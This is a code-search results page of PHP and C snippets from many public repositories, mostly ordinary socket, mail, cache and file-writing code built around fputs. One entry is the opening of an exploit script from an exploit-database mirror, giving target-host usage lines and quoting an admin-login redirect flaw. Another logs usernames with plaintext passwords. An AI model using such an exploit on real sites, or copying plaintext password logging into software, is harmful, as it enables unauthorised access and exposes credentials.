5 * @(#) $Header: /home/mlemos/cvsroot/PHPlibrary/smtp.php,v 1.25 2003/03/25 23:13:15 mlemos Exp $
                    
6 *
                    
99			$this->OutputDebug("C $line");
                    
100		if(!fputs($this->connection,"$line\r\n"))
                    
101		{
                    
113				$this->OutputDebug("C $data");
                    
114			if(!fputs($this->connection,$data))
                    
115			{
                    
227			$domain=$hosts[$host];
                    
228			// fixme anton - ereg is depreceted in php 5.3
                    
229			// if(ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',$domain))
                    
                
filestatus.php https://github.com/jasononeil/OpenRoadFTP.git | PHP | 155 lines
                    
1<?php
                    
2# PHP File Uploader with progress bar - JSON version
                    
2# PHP File Uploader with progress bar - JSON version
                    
3# Based on progress.php, a contrib to Megaupload, by Mike Hodgson.
                    
4# Changed for use with AJAX by Tomas Larsson - http://tomas.epineer.se/
                    
28$moveToFolder = "uploadedfiles"; //Where the files will be moved upon upload, leave blank if you want it to be the same as $tempFolder.
                    
29$bad_files = array('exe', 'php', 'php3', 'php4', 'ph3', 'ph4', 'perl', 'cgi', 'bin', 'scr', 'bat', 'pif', 'aps', 'ssi', 'swf', 'js');
                    
30
                    
33error_reporting(E_ERROR | E_WARNING | E_PARSE);
                    
34require('JSON.php');
                    
35header('Content-Type: text/plain'); 
                    
62}
                    
63// Removes files in the upload directory that are over 3 hours old, except for index.php
                    
64// You probably don't need it, but it might be nice for some people.  Uncomment if you need it.
                    
67  while (false !== ($file = readdir($handle))) {
                    
68    if (filemtime('tempfiles/'.$file) < time() - 10800 && !is_dir('tempfiles/'.$file) && $file != 'index.php') {  
                    
69       @unlink('tempfiles/'.$file);
                    
                
start.html https://github.com/whitypig/emacs-cppref.git | HTML | 212 lines
                    
14<meta name="keywords" content="c,io,start" />
                    
15<link rel="search" type="application/opensearchdescription+xml" href="/wiki/lib/exe/opensearch.php" title="C++ Reference" />
                    
16<link rel="start" href="/wiki/" />
                    
17<link rel="contents" href="/wiki/c/io/start?do=index" title="Index" />
                    
18<link rel="alternate" type="application/rss+xml" title="Recent Changes" href="/wiki/feed.php" />
                    
19<link rel="alternate" type="application/rss+xml" title="Current Namespace" href="/wiki/feed.php?mode=list&amp;ns=c:io" />
                    
22<link rel="alternate" type="text/plain" title="Wiki Markup" href="/wiki/_export/raw/c/io/start" />
                    
23<link rel="stylesheet" media="all" type="text/css" href="/wiki/lib/exe/css.php?s=all&amp;t=custom1" />
                    
24<link rel="stylesheet" media="screen" type="text/css" href="/wiki/lib/exe/css.php?t=custom1" />
                    
24<link rel="stylesheet" media="screen" type="text/css" href="/wiki/lib/exe/css.php?t=custom1" />
                    
25<link rel="stylesheet" media="print" type="text/css" href="/wiki/lib/exe/css.php?s=print&amp;t=custom1" />
                    
26<script type="text/javascript" charset="utf-8" src="/wiki/lib/exe/js.php?edit=0&amp;write=1" ></script>
                    
99	<tr class="row11">
                    
100		<td class="col0"><a href="../../c/io/fputs.html" class="wikilink1" title="c:io:fputs">fputs</a></td><td class="col1">write a string to a file</td>
                    
101	</tr>
                    
                
utility.c https://github.com/XULRunner42/ferite-modules.git | C | 427 lines
                    
71
                    
72  /* php/ext/zlib/zlib.c says that the following will compress without
                    
73   * the zlib internal headers and that is good enough for me
                    
109
                    
110  /* from PHP, use multiple to expand our buffer until it is large enough*/
                    
111  for (multiple = 2; multiple < 16; ++multiple) {
                    
163
                    
164  /* from PHP, use multiple to expand our buffer until it is large enough*/
                    
165  for (multiple = 2; multiple < 16; ++multiple) {
                    
368{
                    
369  fputs("zpipe: ", stderr);
                    
370  switch (ret) {
                    
372    if (ferror(stdin)) {
                    
373      fputs("error reading stdin\n", stderr);
                    
374    }
                    
                
sendmail.php https://gitlab.com/BeS/io.schiessle.org | PHP | 171 lines
                    
1<?php
                    
2//
                    
3// +----------------------------------------------------------------------+
                    
4// | PHP Version 4                                                        |
                    
5// +----------------------------------------------------------------------+
                    
5// +----------------------------------------------------------------------+
                    
6// | Copyright (c) 1997-2003 The PHP Group                                |
                    
7// +----------------------------------------------------------------------+
                    
7// +----------------------------------------------------------------------+
                    
8// | This source file is subject to version 2.02 of the PHP license,      |
                    
9// | that is bundled with this package in the file LICENSE, and is        |
                    
10// | available at through the world-wide-web at                           |
                    
11// | http://www.php.net/license/2_02.txt.                                 |
                    
12// | If you did not receive a copy of the PHP license and are unable to   |
                    
13// | obtain it through the world-wide-web, please send a note to          |
                    
14// | license@php.net so we can mail you a copy immediately.               |
                    
15// +----------------------------------------------------------------------+
                    
                
Ftp.php https://gitlab.com/yousafsyed/easternglamor | PHP | 335 lines
                    
1<?php
                    
2/**
                    
73     * @throws LocalizedException
                    
74     * @SuppressWarnings(PHPMD.CyclomaticComplexity)
                    
75     * @SuppressWarnings(PHPMD.NPathComplexity)
                    
159     * @return bool
                    
160     * @SuppressWarnings(PHPMD.UnusedFormalParameter)
                    
161     */
                    
172     * @return bool
                    
173     * @SuppressWarnings(PHPMD.UnusedFormalParameter)
                    
174     */
                    
194     * @return bool
                    
195     * @SuppressWarnings(PHPMD.ShortMethodName)
                    
196     */
                    
242     * @return bool
                    
243     * @SuppressWarnings(PHPMD.UnusedFormalParameter)
                    
244     */
                    
                
function.fetch.php https://gitlab.com/fangfangchen/xianpipa | PHP | 216 lines
                    
1<?php
                    
2/**
                    
15 *
                    
16 * @link http://www.smarty.net/manual/en/language.function.fetch.php {fetch}
                    
17 *       (Smarty online manual)
                    
150                    if($_is_proxy) {
                    
151                        fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
                    
152                    } else {
                    
152                    } else {
                    
153                        fputs($fp, "GET $uri HTTP/1.0\r\n");
                    
154                    }
                    
155                    if(!empty($host)) {
                    
156                        fputs($fp, "Host: $host\r\n");
                    
157                    }
                    
158                    if(!empty($accept)) {
                    
159                        fputs($fp, "Accept: $accept\r\n");
                    
160                    }
                    
                
globalsettings.inc.php https://github.com/timconstan/vtcalendar.git | PHP | 148 lines
                    
1<?php
                    
2  define("ALLOWINCLUDES", TRUE); // in effect, any file that includes "globalsettings.inc.php" is also authorized to call other include files
                    
2  define("ALLOWINCLUDES", TRUE); // in effect, any file that includes "globalsettings.inc.php" is also authorized to call other include files
                    
3  require_once('config.inc.php');
                    
4  require_once('DB.php');
                    
4  require_once('DB.php');
                    
5  require_once('inputvalidation.inc.php');
                    
6	
                    
31	}
                    
32  //sets variable to according to week starting day specified in "config.inc.php". Sunday is default week starting day if WEEK_STARTING_DAY isn't defined in "config.inc.php'
                    
33   
                    
94			if (!empty($_SESSION["AUTH_USERID"])) { $user = $_SESSION["AUTH_USERID"]; } else { $user = "anonymous"; }
                    
95			fputs($logfile, date( "Y-m-d H:i:s", time() )." ".$_SERVER["REMOTE_ADDR"]." ".$user." ".$_SERVER["PHP_SELF"]." ".$query."\n");
                    
96			fclose($logfile);	
                    
104		if (isset($value)) {
                    
105		  // first, remove any escaping that may have happened if magic_quotes_gpc is set to ON in php.ini
                    
106			if (get_magic_quotes_gpc()) {
                    
                
civicrm.php https://github.com/michaelmcandrew/vaw.git | PHP | 244 lines
                    
1<?php
                    
2
                    
74    }
                    
75    fputs( $fd, $buffer );
                    
76    fclose( $fd );
                    
111        $siteDir  . DIRECTORY_SEPARATOR .
                    
112        'civicrm.settings.php';
                    
113
                    
121
                    
122    require_once "$crmPath/packages/DB.php";
                    
123
                    
190
                    
191    $str = file_get_contents( $tplPath . 'civicrm.settings.php.tpl' );
                    
192    foreach ( $params as $key => $value ) { 
                    
242    $drupalURL = civicrm_cms_base( );
                    
243    return $drupalURL . 'index.php?q=civicrm';
                    
244}
                    
                
SetStamp.c https://gitlab.com/envieidoc/Clover | C | 491 lines
                    
6which accompanies this distribution.  The full text of the license may be found at        
                    
7http://opensource.org/licenses/bsd-license.php                                            
                    
8                                                                                          
                    
117
                    
118    if (fputs (buffer, fp) == EOF) {
                    
119      printf ("Error: Cannot write time string to TIME file.\n");
                    
                
setup.php https://bitbucket.org/ekowabaka/wyf.git | PHP | 176 lines
                    
1#!/usr/bin/env php
                    
2<?php
                    
44SYSTEM;
                    
45file_put_contents($home . 'app/modules/system/package_redirect.php', $system);
                    
46
                    
47$index = <<< "INDEX"
                    
48<?php
                    
49/**
                    
52 */
                    
53require "lib/entry.php";
                    
54INDEX;
                    
54INDEX;
                    
55file_put_contents($home . 'index.php', $index);
                    
56
                    
83file_put_contents($home . 'app/config.php', $config);
                    
84file_put_contents($home . 'app/includes.php', "<?php\n");
                    
85file_put_contents($home . 'app/bootstrap.php', "<?php\n");
                    
                
PlainHTTPFetcher.php https://github.com/tanepiper/pastemonkey.git | PHP | 245 lines
                    
1<?php
                    
2
                    
6 *
                    
7 * PHP versions 4 and 5
                    
8 *
                    
19 */
                    
20require_once "Auth/Yadis/HTTPFetcher.php";
                    
21
                    
69
                    
70            $user_agent = "PHP Yadis Library Fetcher";
                    
71
                    
98
                    
99            fputs($sock, implode("\r\n", $headers) . "\r\n\r\n");
                    
100
                    
206        // Write the POST request.
                    
207        fputs($sock, $request);
                    
208
                    
                
ps_pagseguro.php https://github.com/rafarubert/megafiltros.git | PHP | 85 lines
                    
1<?php
                    
2if( !defined( '_VALID_MOS' ) && !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
                    
24  function trataInput($input) {
                    
25    require_once(CLASSPATH ."payment/".$this->classname.".cfg.php");
                    
26    if (!isset($input['type'])) $input['type'] = 'text';
                    
58  function configfile_writeable() {
                    
59    return is_writeable( CLASSPATH."payment/".$this->classname.".cfg.php" );
                    
60  }
                    
61  function configfile_readable() {
                    
62    return is_readable( CLASSPATH."payment/".$this->classname.".cfg.php" );
                    
63  }
                    
66    $configs = $this->configs();
                    
67    $config = "<?php if( !defined( '_VALID_MOS' ) && !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' ); \n\n";
                    
68    foreach($configs as $item) {
                    
72    }
                    
73    if ($fp = fopen(CLASSPATH ."payment/".$this->classname.".cfg.php", "w")) {
                    
74      fputs($fp, $config, strlen($config));
                    
                
Agent.php https://gitlab.com/xolotsoft/pumasruiz | PHP | 313 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * Pure-PHP ssh-agent client.
                    
4 *
                    
4 *
                    
5 * PHP versions 4 and 5
                    
6 *
                    
8 * <code>
                    
9 * <?php
                    
10 *    include 'System/SSH/Agent.php';
                    
10 *    include 'System/SSH/Agent.php';
                    
11 *    include 'Net/SSH2.php';
                    
12 *
                    
44 * @package   System_SSH_Agent
                    
45 * @author    Jim Wigginton <terrafrost@php.net>
                    
46 * @copyright 2014 Jim Wigginton
                    
                
Request.php https://github.com/tbleher/gallery3-contrib.git | PHP | 220 lines
                    
1<?php
                    
2
                    
21    /**
                    
22     * PHP's $_SERVER data
                    
23     * 
                    
48     *
                    
49     * The serverData array can be used to override usage of PHP's 
                    
50     * global _SERVER variable. 
                    
161            } else {
                    
162                $this->body = fopen('php://input','r');
                    
163                self::$defaultInputStream = $this->body;
                    
180     * If the setAsDefaultInputStream is set to true, it means for this run of the 
                    
181     * script the supplied body will be used instead of php://input.
                    
182     *
                    
192
                    
193            $stream = fopen('php://temp','r+');
                    
194            fputs($stream,$body);
                    
                
stream.php https://github.com/jamusj/iphone.git | PHP | 85 lines
                    
1<?php
                    
2    /*
                    
32
                    
33    require_once 'streamlib.php';
                    
34
                    
62    $file=fsockopen($parsed_url["site"],$parsed_url["port"]);
                    
63    fputs($file,"GET ".$parsed_url["loc"]." HTTP/1.0\n\n");
                    
64    
                    
                
function.fetch.php https://github.com/tedkulp/cmsmadesimple-2-0.git | PHP | 217 lines
                    
1<?php
                    
2/**
                    
14 * Purpose:  fetch file, web or ftp data and display results
                    
15 * @link http://smarty.php.net/manual/en/language.function.fetch.php {fetch}
                    
16 *       (Smarty online manual)
                    
151                    if($_is_proxy) {
                    
152                        fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
                    
153                    } else {
                    
153                    } else {
                    
154                        fputs($fp, "GET $uri HTTP/1.0\r\n");
                    
155                    }
                    
156                    if(!empty($host)) {
                    
157                        fputs($fp, "Host: $host\r\n");
                    
158                    }
                    
159                    if(!empty($accept)) {
                    
160                        fputs($fp, "Accept: $accept\r\n");
                    
161                    }
                    
                
Passwd.php https://github.com/wrobel/horde.git | PHP | 423 lines
                    
1<?php
                    
2/**
                    
5 *
                    
6 * Copyright 1997-2007 Rasmus Lerdorf <rasmus@php.net>
                    
7 * Copyright 2002-2012 Horde LLC (http://www.horde.org/)
                    
11 *
                    
12 * @author   Rasmus Lerdorf <rasmus@php.net>
                    
13 * @author   Chuck Hagenbuch <chuck@horde.org>
                    
119                }
                    
120                fputs($this->_fplock, $data . "\n");
                    
121            }
                    
                
ssl.inc.php https://github.com/tony-landis/agilebill.git | PHP | 186 lines
                    
1<?php
                    
2	
                    
23{
                    
24	include_once('../../config.inc.php');
                    
25	$test = new CORE_ssl;
                    
38		if ( function_exists('curl_init') && $curl_version = curl_version()) {
                    
39			if ( phpversion() >= 5 ) {
                    
40				if (preg_match('/openssl/i', @$curl_version['ssl_version'] )) 
                    
47
                    
48		if (phpversion() >= '4.3.0') 
                    
49			if (function_exists("fsockopen") )
                    
60		} elseif ( @$this->connect_curl_module ) {
                    
61			echo 'Using Curl PHP Module:				';
                    
62			echo $this->connect('www.amazon.com', '', '', true, 1);	
                    
63		} elseif ( @$this->connect_fsockopen ) {
                    
64			echo 'Using PHP fsockopen() function + openssl_public_decrypt():			';		
                    
65			echo $this->connect('www.amazon.com', '', '', true, 1);			
                    
                
edv-datenbank-pass.php https://bitbucket.org/vincentbii/amurt.git | PHP | 242 lines
                    
41					$line=date("d.m.Y").'  '.date("H.i").'  '.$report.'  Username='.$userid.'  Password='.$key.'  Fileaccess='.$remark1.'  Fileforward='.$remark2;
                    
42					fputs($file,$line);fputs($file,"\r\n");
                    
43					fclose($file);
                    
108
                    
109<BODY  <?php if (!$nofocus) echo 'onLoad="document.passwindow.userid.focus()"'; echo  ' bgcolor='.$cfg['body_bgcolor']; 
                    
110 if (!$cfg['dhtml']){ echo ' link='.$cfg['body_txtcolor'].' alink='.$cfg['body_alink'].' vlink='.$cfg['body_txtcolor']; } 
                    
120<tr>
                    
121<td colspan=3><img src=../img/einga-b.gif border=0  width=130 height=25><!-- <a href="op-pflege-logbuch-such-pass.php?sid=<?php echo $$ck_sid_buffer;?>"><img src="../img/such-gray.gif" border=0 width=130 height=25 <?php if($cfg['dhtml'])echo'style=filter:alpha(opacity=70) onMouseover=hilite(this,1) onMouseOut=hilite(this,0)>';?></a><a href="op-pflege-logbuch-arch-pass.php?sid=<?php echo $$ck_sid_buffer;?>"><img src="../img/arch-gray.gif" border=0 width=130 height=25 <?php if($cfg['dhtml'])echo'style=filter:alpha(opacity=70) onMouseover=hilite(this,1) onMouseOut=hilite(this,0)>';?></a> --></td>
                    
122</tr>
                    
162<tr>
                    
163<?php if(!$passtag) echo'
                    
164<td>
                    
228<img src="../img/small_help.gif"> <a href="<?php echo $root_path; ?>main/ucons.php<?php echo URL_APPEND; ?>">Einf�hrung in die SQL Datenbank.</a><br>
                    
229<img src="../img/small_help.gif"> <a href="<?php echo $root_path; ?>main/ucons.php<?php echo URL_APPEND; ?>">Wie mache ich was hier?</a><br>
                    
230<HR>
                    
                
Ftp.php https://github.com/speedupmate/Magento-CE-Mirror.git | PHP | 327 lines
                    
1<?php
                    
2/**
                    
9 * It is also available through the world-wide-web at this URL:
                    
10 * http://opensource.org/licenses/osl-3.0.php
                    
11 * If you did not receive a copy of the license and are unable to
                    
23 * @copyright  Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)
                    
24 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
25 */
                    
252                $stream = tmpfile();
                    
253                fputs($stream, $src);
                    
254                fseek($stream, 0);
                    
                
ERunActionsHttpClient.php https://github.com/teeaich/snapity.git | PHP | 153 lines
                    
1<?php
                    
2
                    
3/**
                    
4 * ERunActionsHttpClient.php
                    
5 *
                    
6 * A simple Http request client based on
                    
7 * http://www.php.net/manual/de/function.fsockopen.php#101872
                    
8 *
                    
11 *
                    
12 * PHP version 5.2+
                    
13 *
                    
33   * Socked based http request
                    
34   * Based on code from: http://www.php.net/manual/de/function.fsockopen.php#101872
                    
35   * Added touchOnly feature, changed headers
                    
130
                    
131    fputs($fp, $req);
                    
132
                    
                
class.wsdlcache.php https://github.com/Dimyan/muhovyaz_ps.git | PHP | 209 lines
                    
1<?php
                    
2/*
                    
14* @author	Ingo Fischer <ingo@apollon.de>
                    
15* @version  $Id: class.wsdlcache.php 6626 2011-05-24 09:44:48Z aFolletete $
                    
16* @access public 
                    
153			}
                    
154			fputs($fp, $s);
                    
155			fclose($fp);
                    
                
tracker_gateway.php https://gitlab.com/oslc-cm-server/olbergers-ff5-oslc.git | PHP | 257 lines
                    
1#! /usr/bin/php4 -f
                    
2<?php
                    
28 *
                    
29 * This file is based on forum_gateway.php
                    
30 */
                    
31
                    
32require_once ('squal_pre.php');
                    
33require_once ('common/include/Group.class');
                    
91		$tmpfile = tempnam ("/tmp", "artifact_gateway.".rand()."-".rand());
                    
92		$in = fopen("php://stdin", "r");
                    
93		$out = fopen($tmpfile, "w");
                    
95		while($buffer = fgets($in, 4096)) {
                    
96			fputs($out, $buffer);
                    
97		}
                    
                
function.fetch.php https://gitlab.com/flyhope/Hiblog | PHP | 221 lines
                    
1<?php
                    
2/**
                    
14 *
                    
15 * @link   http://www.smarty.net/manual/en/language.function.fetch.php {fetch}
                    
16 *         (Smarty online manual)
                    
44        if ($protocol) {
                    
45            // remote resource (or php stream, …)
                    
46            if (!$template->smarty->security_policy->isTrustedUri($params['file'])) {
                    
165                if ($_is_proxy) {
                    
166                    fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
                    
167                } else {
                    
167                } else {
                    
168                    fputs($fp, "GET $uri HTTP/1.0\r\n");
                    
169                }
                    
170                if (!empty($host)) {
                    
171                    fputs($fp, "Host: $host\r\n");
                    
172                }
                    
                
deploy.php https://bitbucket.org/figurluk/unit_prague_2018.git | PHP | 145 lines
                    
1<?php
                    
2
                    
4
                    
5require 'recipe/common.php';
                    
6require 'recipe/laravel.php';
                    
9{
                    
10    $reading = fopen('database/seeds/production-seeds.php', 'r');
                    
11    $writing = fopen('database/seeds/production-seeds.tmp', 'w');
                    
17        if (strpos($line, $seeder)) {
                    
18            fputs($writing, $line);
                    
19            fgets($reading);
                    
22        }
                    
23        fputs($writing, $line);
                    
24    }
                    
28    if ($replaced) {
                    
29        unlink('database/seeds/production-seeds.php');
                    
30        rename('database/seeds/production-seeds.tmp', 'database/seeds/production-seeds.php');
                    
                
VarnishAdminSocket.php https://github.com/arjenschat/php-varnish.git | PHP | 281 lines
                    
1<?php
                    
2/**
                    
108    private function write( $data ){
                    
109        $bytes = fputs( $this->fp, $data );
                    
110        if( $bytes !== strlen($data) ){
                    
                
SSH_Agent.php https://gitlab.com/daniruizcamacho/pfcascensores | PHP | 313 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * Pure-PHP ssh-agent client.
                    
4 *
                    
4 *
                    
5 * PHP versions 4 and 5
                    
6 *
                    
8 * <code>
                    
9 * <?php
                    
10 *    include('System/SSH_Agent.php');
                    
10 *    include('System/SSH_Agent.php');
                    
11 *    include('Net/SSH2.php');
                    
12 *
                    
44 * @package   System_SSH_Agent
                    
45 * @author    Jim Wigginton <terrafrost@php.net>
                    
46 * @copyright MMXIV Jim Wigginton
                    
                
function.fetch.php https://github.com/kiang/olc_baker.git | PHP | 222 lines
                    
1<?php
                    
2/**
                    
14 * Purpose:  fetch file, web or ftp data and display results
                    
15 * @link http://smarty.php.net/manual/en/language.function.fetch.php {fetch}
                    
16 *       (Smarty online manual)
                    
157                    if ($_is_proxy) {
                    
158                        fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
                    
159                    } else {
                    
159                    } else {
                    
160                        fputs($fp, "GET $uri HTTP/1.0\r\n");
                    
161                    }
                    
162                    if (!empty($host)) {
                    
163                        fputs($fp, "Host: $host\r\n");
                    
164                    }
                    
165                    if (!empty($accept)) {
                    
166                        fputs($fp, "Accept: $accept\r\n");
                    
167                    }
                    
                
4884.php https://bitbucket.org/DinoRex99/exploit-database.git | PHP | 148 lines
                    
1#!/usr/bin/php -q -d short_open_tag=on
                    
2<?
                    
5by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
                    
6Thanks to rgod for the php code and Marty for the Love
                    
7
                    
9if ($argc<3) {
                    
10echo "Usage: php ".$argv[0]." Host Path [new_mail]
                    
11Host:          target server (ip/hostname)
                    
15Example:
                    
16php ".$argv[0]." localhost / ";
                    
17
                    
30
                    
31admin/index.php, line 13:
                    
32
                    
33if( !es_islogged() ){
                    
34        header( "Location: login.php" );
                    
35}
                    
                
upload.php https://github.com/kkszysiu/zoto-server.git | PHP | 262 lines
                    
1<?php
                    
2/*
                    
2/*
                    
3 * upload.php 
                    
4 * Added: 02/23/07
                    
6 *
                    
7 * This file provides POST uploading of multiple images via PHP.  It 
                    
8 * uses XML-RPC calls to connect to AZTK and add the images to the user's
                    
14 * Includes a standard set of functions for talking via xmlrpc to AZTK
                    
15 * using PHP.
                    
16 *
                    
33               "Connection: close\r\n" .
                    
34               "User-Agent: Zoto PHP XMLRPC Client\r\n" .
                    
35               "Content-Type: text/xml\r\n" .
                    
42    } else {
                    
43        fputs($c, $headers);
                    
44        fputs($c, $data);
                    
                
LegacyDialogHelperTest.php https://gitlab.com/xolotsoft/pumasruiz | PHP | 197 lines
                    
1<?php
                    
2
                    
19
                    
20class LegacyDialogHelperTest extends \PHPUnit_Framework_TestCase
                    
21{
                    
178    {
                    
179        $stream = fopen('php://memory', 'r+', false);
                    
180        fputs($stream, $input);
                    
187    {
                    
188        return new StreamOutput(fopen('php://memory', 'r+', false));
                    
189    }
                    
                
WindidUtility.php https://gitlab.com/wuhang2003/phpwind | PHP | 133 lines
                    
1<?php
                    
2/**
                    
5 * @author xiaoxia.xu <xiaoxia.xuxx@aliyun-inc.com> 2010-11-2
                    
6 * @license http://www.phpwind.com
                    
7 * @version $Id: WindidUtility.php 32085 2014-08-20 08:48:50Z gao.wanggao $
                    
103       		$fp = fsockopen($urlArr['host'], $port);
                    
104        	fputs($fp, $header.$data);
                    
105        	$response = '';
                    
                
cache.php https://github.com/severnaya99/Sg-2010.git | PHP | 158 lines
                    
1<?php
                    
2//
                    
7// |                                                                      |
                    
8// | http://www.zen-cart.com/index.php                                    |
                    
9// |                                                                      |
                    
19// +----------------------------------------------------------------------+
                    
20// $Id: cache.php 290 2004-09-15 19:48:26Z wilt $
                    
21//
                    
39// write serialized data
                    
40      fputs($fp, serialize($var));
                    
41// release the file lock
                    
117      ob_start();
                    
118      include(DIR_WS_BOXES . 'categories.php');
                    
119      $cache_output = ob_get_contents();
                    
133      ob_start();
                    
134      include(DIR_WS_BOXES . 'manufacturers.php');
                    
135      $cache_output = ob_get_contents();
                    
                
cache.php https://github.com/epsylon3/torrentflux.git | PHP | 202 lines
                    
1<?php
                    
2/* vim: set expandtab tabstop=4 shiftwidth=4: */
                    
3// +----------------------------------------------------------------------+
                    
4// | PHP version 4.0                                                      |
                    
5// +----------------------------------------------------------------------+
                    
10//
                    
11// $Id: cache.php,v 1.4 2003/05/15 14:17:41 releasedj Exp $
                    
12
                    
155        flock($f, 2); // set an EXclusive lock
                    
156        fputs($f, $data); // write the parsed string from vlibTemplate
                    
157        flock($f, 3); // UNlock file
                    
                
test_ext_network.cpp https://github.com/tmjnaid/hiphop-php.git | C++ | 266 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
6   +----------------------------------------------------------------------+
                    
7   | This source file is subject to version 3.01 of the PHP license,      |
                    
8   | that is bundled with this package in the file LICENSE, and is        |
                    
9   | available through the world-wide-web at the following url:           |
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
160    VERIFY(!same(f, false));
                    
161    f_fputs(f, "GET / HTTP/1.0\n\n");
                    
162    VERIFY(!f_fread(f, 15).toString().empty());
                    
                
ext_file.h https://github.com/tmjnaid/hiphop-php.git | C Header | 161 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
5   | Copyright (c) 2010 Facebook, Inc. (http://www.facebook.com)          |
                    
6   | Copyright (c) 1997-2010 The PHP Group                                |
                    
7   +----------------------------------------------------------------------+
                    
7   +----------------------------------------------------------------------+
                    
8   | This source file is subject to version 3.01 of the PHP license,      |
                    
9   | that is bundled with this package in the file LICENSE, and is        |
                    
10   | available through the world-wide-web at the following url:           |
                    
11   | http://www.php.net/license/3_01.txt                                  |
                    
12   | If you did not receive a copy of the PHP license and are unable to   |
                    
13   | obtain it through the world-wide-web, please send a note to          |
                    
14   | license@php.net so we can mail you a copy immediately.               |
                    
15   +----------------------------------------------------------------------+
                    
                
smtp.php https://github.com/bluelovers/Bug-Tracker.git | PHP | 314 lines
                    
1<?php
                    
2class smtp
                    
74		$header .= "Date: ".date("r")."\r\n";
                    
75		$header .= "X-Mailer:By Bug Tracker (PHP/".phpversion().")\r\n";
                    
76
                    
210	{
                    
211		fputs($this->sock, $header."\r\n".$body);
                    
212		$this->smtp_debug("> ".str_replace("\r\n", "\n"."> ", $header."\n> ".$body."\n> "));
                    
218	{
                    
219		fputs($this->sock, "\r\n.\r\n");
                    
220		$this->smtp_debug(". [EOM]\n");
                    
238			if (!preg_match("/^[23]/", $response)) {
                    
239				fputs($this->sock, "QUIT\r\n");
                    
240				fgets($this->sock, 512);
                    
256		
                    
257		fputs($this->sock, $cmd."\r\n");
                    
258
                    
                
latex.php https://gitlab.com/unofficial-mirrors/moodle | PHP | 182 lines
                    
1<?php
                    
2    // latex.php
                    
26        /**
                    
27         * Old syntax of class constructor. Deprecated in PHP7.
                    
28         *
                    
123            $fh = fopen( $tex, 'w' );
                    
124            fputs( $fh, $doc );
                    
125            fclose( $fh );
                    
                
Pop3.php https://bitbucket.org/Evgenii/zf2t.git | PHP | 415 lines
                    
1<?php
                    
2/**
                    
137        ErrorHandler::start();
                    
138        $result = fputs($this->socket, $request . "\r\n");
                    
139        $error  = ErrorHandler::stop();
                    
                
Varnish.php https://gitlab.com/juanito.abelo/nlmobile | PHP | 178 lines
                    
1<?php
                    
2
                    
39    /**
                    
40     * PHP5-style constructor
                    
41     */
                    
56    protected function _purge($url) {
                    
57        w3_require_once(W3TC_INC_DIR . '/functions/http.php');
                    
58
                    
136
                    
137        @fputs($fp, $request);
                    
138
                    
                
release-tool.php git://github.com/WindowsAzure/azure-sdk-for-php.git | PHP | 107 lines
                    
1#!/usr/bin/env php
                    
2<?php
                    
14 *
                    
15 * PHP version 5
                    
16 *
                    
18 *
                    
19 * @author    Azure PHP SDK <azurephpsdk@microsoft.com>
                    
20 * @copyright Microsoft Corporation
                    
22 *
                    
23 * @link      https://github.com/windowsazure/azure-sdk-for-php
                    
24 */
                    
26/**
                    
27 * Update the version number of PHP files, and generate class list.
                    
28 *
                    
29 * 1. change the NEW_VER const to the correct new version string
                    
30 * 2. run php .\bin\release-tool.php in the root directory
                    
31 */
                    
                
testsuite.php https://github.com/miamiruby/cakestuff.git | PHP | 192 lines
                    
1#!/usr/local/bin/php -n
                    
2<?php
                    
3/*
                    
4Whois.php        PHP classes to conduct whois queries
                    
5
                    
11
                    
12http://www.phpwhois.org
                    
13
                    
64
                    
65include('whois.main.php');
                    
66
                    
125$fp = fopen('testsuite.txt','wt');
                    
126fputs($fp, serialize($results));
                    
127fclose($fp);
                    
                
misc_tools.php https://github.com/floodyberry/carmack.git | PHP | 169 lines
                    
72			foreach( $link_array as $idx => $link_info ) {
                    
73				fputs( $fp, "$timestamp, $link_info[title] ($link_info[type]), $link_info[url]\n" );
                    
74			}
                    
167	
                    
168	require_once( "conf.php" );
                    
169?>
                    
                
Command.php git://pkgs.fedoraproject.org/php-pear-CodeGen-PECL | PHP | 266 lines
                    
16 * @copyright  2005-2008 Hartmut Holzgraefe
                    
17 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
                    
18 * @version    CVS: $Id: Command.php,v 1.8 2007/03/19 18:15:08 hholzgra Exp $
                    
27require_once "CodeGen/PECL/Extension.php";
                    
28require_once "CodeGen/PECL/ExtensionParser.php";
                    
29
                    
40 * @copyright  2005-2008 Hartmut Holzgraefe
                    
41 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
                    
42 * @version    Release: @package_version@
                    
213            foreach ($this->extension->functions as $name => $function) {
                    
214                fputs($fp, sprintf("\tPHP_FE(%-20s, NULL)\n", $name));
                    
215            }
                    
219            foreach ($this->extension->functions as $name => $function) {
                    
220                fputs($fp, "PHP_FUNCTION($name);\n");
                    
221            }
                    
                
ping_server.inc.php http://lansuite.googlecode.com/svn/trunk/ | PHP | 131 lines
                    
1<?php
                    
2
                    
26				//Benutzernamen senden
                    
27				fputs ($fp, "USER anonymous\r\n");
                    
28				//Passwort senden
                    
28				//Passwort senden
                    
29				fputs ($fp, "PASS erreichbarkeitstest@lansuite.de\r\n");
                    
30				//In Pasivmode wechseln
                    
30				//In Pasivmode wechseln
                    
31				fputs ($fp, "PASV\r\n");
                    
32				//System abfragen
                    
32				//System abfragen
                    
33				fputs ($fp, "SYST\r\n");
                    
34				//Verzeichnis auflisten
                    
